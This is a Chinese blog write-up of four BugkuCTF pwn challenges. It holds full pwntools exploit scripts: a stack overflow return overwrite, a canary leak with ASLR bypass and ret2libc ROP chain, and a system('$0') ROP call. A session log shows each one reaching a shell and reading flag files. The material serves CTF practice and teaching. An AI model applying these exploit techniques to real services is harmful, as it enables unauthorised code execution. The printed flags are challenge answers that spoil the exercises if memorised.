【BugkuCTF】Pwn题解

BugkuCTF 里 Pwn 的题解

因为博客都是静态网页,考虑到每题一个文件在后期比较难处理
在这开始第一步博客的标签分类改动

pwn1

Description:

nc 114.116.54.89 10001


Solution:

直接复制 nc 命令连过去,再使用 cat flag 命令连接即可


Flag:

1
flag{6979d853add353c9}

pwn2

Description:

nc 114.116.54.89 10003


Solution:

新手题,覆盖 ret 即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

# p = process('./pwn2')
p = remote('114.116.54.89', '10003')
addr_get_shell_ = 0x400751

p.recvuntil("say something?")
pd = 'a' * 56
pd += p64(addr_get_shell_)
p.send(pd)
p.interactive()

Flag:

1
flag{n0w_y0u_kn0w_the_Stack0verfl0w}

pwn3

Description:

nc 114.116.54.89 10000


Solution:

主要漏洞在这

1
2
3
read(0, &v4, *(unsigned int *)nbytes);  // 用来泄露信息与提权

read(0, &v4, 0x270uLL); // 用来补全之前泄露出来的信息

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *

# context(log_level="debug", arch="amd64", os="linux")
# p = process('./read_note')
p = remote('114.116.54.89', 10000)
elf = ELF('./read_note', checksec=False)
addr_rdi_ret = 0x0000000000000e03 # pop rdi ; ret
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']

# 泄露 canary
# gdb.attach(p, "b *$rebase(0xD0E)\nc")
p.sendlineafter('note path:\n', 'flag')
p.sendlineafter('note len:\n', '601')
p.sendafter('note:\n', 'a' * 0x259)
p.recvuntil('a' * 0x258)
iCanary = u64(p.recv(8)) - ord('a') # 本地后两位固定是0x00

pd = 'a' * 0x258
pd += p64(iCanary)
pd += 'b' * 8
pd += '\x20' # 这里直接写入0x20可以覆盖地址最后一位到addr_main
p.sendafter('note(len is 624)\n', pd)

# 泄露 addr_main
p.sendlineafter('note path:\n', 'flag')
p.sendlineafter('note len:\n', '617')
p.sendafter('note:\n', 'b' * 0x269)
p.recvuntil('b' * 0x268)
addr_main = u64(p.recv(6).ljust(8, '\x00')) - ord('b') + 0x20
aslr_offset = addr_main - elf.sym['main']
p.sendafter('note(len is 624)\n', pd)

addr_rdi_ret += aslr_offset
plt_puts += aslr_offset
got_puts += aslr_offset

# 泄露 libc
p.sendlineafter('note path:\n', 'flag')
pd = 'c' * 0x258
pd += p64(iCanary)
pd += 'd' * 8
pd += p64(addr_rdi_ret)
pd += p64(got_puts)
pd += p64(plt_puts)
pd += p64(addr_main)
p.sendlineafter('note len:\n', str(len(pd)))
p.sendafter('note:\n', pd)
p.sendafter('note(len is 624)\n', '\n')
addr_puts = u64(p.recv(6).ljust(8, '\x00'))

libc = LibcSearcher('puts', addr_puts)
libcbase = addr_puts - libc.dump('puts')
addr_system = libcbase + libc.dump('system')
addr_bin_sh = libcbase + libc.dump('str_bin_sh')

# 提权
p.sendlineafter('note path:\n', 'flag')
pd = 'e' * 0x258
pd += p64(iCanary)
pd += 'f' * 8
pd += p64(addr_rdi_ret)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
pd += p64(addr_main)
p.sendlineafter('note len:\n', str(len(pd)))
p.sendafter('note:\n', pd)
p.sendafter('note(len is 624)\n', '\n')

# libc 的选择是 4: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
success('iCanary = ' + hex(iCanary))
success('addr_main = ' + hex(addr_main))
success('addr_puts = ' + hex(addr_puts))
p.interactive()

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@lepPwn:~/CTF/work# python read_note.py 
[+] Opening connection to 114.116.54.89 on port 10000: Done
Multi Results:
0: archive-old-glibc (id libc6-amd64_2.24-3ubuntu2.2_i386)
1: archive-old-glibc (id libc6-amd64_2.24-3ubuntu1_i386)
2: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2.2_i386)
3: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2_i386)
4: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:4
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
[+] iCanary = 0x125bccbee5a82800
[+] addr_main = 0x55a3bb024d20
[+] addr_puts = 0x7f3396f1d690
[*] Switching to interactive mode
$ cat flag
flag{i_was_born_ten_yes_ago}
$ cat flag1
flag{haha_i_never_forget_the_people_i_meet_before}
$ cat flag2
flag{everyone_will_die}
$ cat c7dd5362b9274dc3ffcd6908e260ebb2/flag
flag{4278bbab-7780-4d89-8443-612d24aa87c6}

原本还想拿 SSP leak 来打,后来怕被骗还是直接提权好,果真如此……


Flag:

1
flag{4278bbab-7780-4d89-8443-612d24aa87c6}

pwn4

Description:

nc 114.116.54.89 10004 pwn4


Solution:

这题需要一个知识点,其他的就很简单

在linux里$0为shell或shell脚本的名称。

虽然没有找到/bin/sh,但是我们可以看到IDA中存在$0

Image

所以把$0当成参数传进去等同于传进去/bin/sh

先找$0的位置

Image

效果图如下:

Image

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

# p = process('./pwn4')
p = remote('114.116.54.89', 10004)
elf = ELF('./pwn4', checksec=False)

addr_p_r = 0x00000000004007d3 # pop rdi ; ret
addr_bin_sh = 0x000000000060111f # $0 is similar to /bin/sh
plt_system = elf.plt['system']

pd = 'a' * (0x10 + 8)
pd += p64(addr_p_r)
pd += p64(addr_bin_sh)
pd += p64(plt_system)

p.sendlineafter('Come on,try to pwn me\n', pd)
p.interactive()

Flag:

1
flag{264bc50112318cd6e1a67b0724d6d3af}
文章目录
  1. 1. pwn1
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. pwn2
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
  3. 3. pwn3
    1. 3.1. Description:
    2. 3.2. Solution:
    3. 3.3. Flag:
  4. 4. pwn4
    1. 4.1. Description:
    2. 4.2. Solution:
    3. 4.3. Flag:
|